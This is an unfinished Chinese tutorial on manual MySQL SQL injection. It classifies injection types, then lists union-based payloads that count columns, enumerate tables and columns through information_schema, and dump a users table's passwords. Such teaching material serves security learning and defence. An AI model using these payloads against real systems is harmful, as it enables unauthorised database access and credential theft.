MYSQL手工注入(详细步骤)—— 待补充
0x00 SQL注入的分类:
(1)基于从服务器接收到的响应
▲基于错误的 SQL 注入
▲联合查询的类型
▲堆查询注射
▲SQL 盲注
•基于布尔 SQL 盲注
•基于时间的 SQL 盲注
•基于报错的 SQL 盲注
(2)基于如何处理输入的 SQL 查询(数据类型)
•基于字符串
•数字或整数为基础的
(3)基于程度和顺序的注入(哪里发生了影响)
★一阶注射
★二阶注射
(4)基于注入点的位置上的
▲通过用户输入的表单域的注射。
▲通过 cookie 注射。
▲通过服务器变量注射。 (基于头部信息的注射)
0x01 MYSQL 手工注入流程——基于错误的 SQL 注入
(1)闭合方式:
首先,需要确定SQL语句的闭合方式,常见闭合方式有:
$sql=”SELECT * FROM users WHERE id=’$id’ LIMIT 0,1″;
$sql=”SELECT * FROM users WHERE id=”$id” LIMIT 0,1″;
$sql=”SELECT * FROM users WHERE id=(‘$id’) LIMIT 0,1″;
$sql=”SELECT * FROM users WHERE id=(“$id”) LIMIT 0,1″;
(2)order by 查字段数
举例:
?id=1′ order by 4–+ //返回Ture(这里的–+可以替换为#,都是注释符的意思)
?id=1′ order by 5–+ //返回False
说明字段数为4
(3)确定数据显示位置
?id=0′ union select 1,2,3,4–+
通过,1,2,3,4的显示效果,确定要在哪个数字上面做改动
(4)查询当前数据库名
?id=0′ union select 1,2,3,database()–+
(这里假设,该页面只能将4号位置的数据显示出来,所以只需要对4号位置的数据做改动)
(5)查询当前数据库的所有表名
0′ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() –+
(6)查指定表名的所有字段名
0′ union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=”users” –+
(7)查指定表的指定字段的所有内容
0′ union select 1,2,3,group_concat(password) from users –+
(8)上面的情况是数据很少的时候,可以把指定字段的所有内容显示出来,但是有可能数据太多,不容易分辨,那么就可以在语句后面加上查询数量的限制
1)0′ union select 1,2,3,password from users limit 0,1–+
2)0′ union select 1,2,3,password from users limit 1,1–+
3)0′ union select 1,2,3,password from users limit 2,1–+
0x02 MYSQL 手工注入实战——基于错误的 SQL 注入
这里暂时还没写好,等之后补充进来。